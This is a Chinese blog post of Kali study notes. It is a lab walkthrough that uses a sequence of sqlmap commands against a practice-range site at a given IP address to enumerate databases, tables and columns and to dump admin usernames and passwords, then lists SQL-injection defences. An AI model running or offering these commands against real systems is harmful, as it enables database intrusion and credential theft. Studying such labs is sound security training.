茴香豆安全 - KALI学习笔记

茴香豆安全 - Sql注入获取管理员账号密码

2020-05-28  本文已影响0人  wycdavid

一、前言

二、相关工具准备

三、流程方案简述

 http://www.xx.com/xxx.php?id=1

四、具体测试过程

1. 打开靶场网站,寻找注入点

http://59.63.200.79:8003/?id=1

sqlmap -u "http://59.63.200.79:8003/?id=1"
image.png

2. 猜解数据库

sqlmap -u "http://59.63.200.79:8003/?id=1" --dbs
image.png

3. 继续猜解表

sqlmap -u "http://59.63.200.79:8003/?id=1" --tables -D maoshe
image.png

4. 继续猜解表的字段

sqlmap -u "http://59.63.200.79:8003/?id=1" --columns -T admin -D maoshe
image.png

5. 获取用户名和密码

sqlmap -u "http://59.63.200.79:8003/?id=1"  --dump -C username,password  -T admin -D maoshe
image.png

五、最后

  • 对用户的输入进行校验,限制输入、过滤一些特殊的敏感符号等
  • 不要使用动态拼装sql的方式,进行数据查询存取
  • 不要使用管理员权限的账号连接数据库,为每个应用的数据库分配有限权限的账号
  • 不要明文存储敏感信息,可以使用一些加密方法
  • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
上一篇 下一篇

猜你喜欢

热点阅读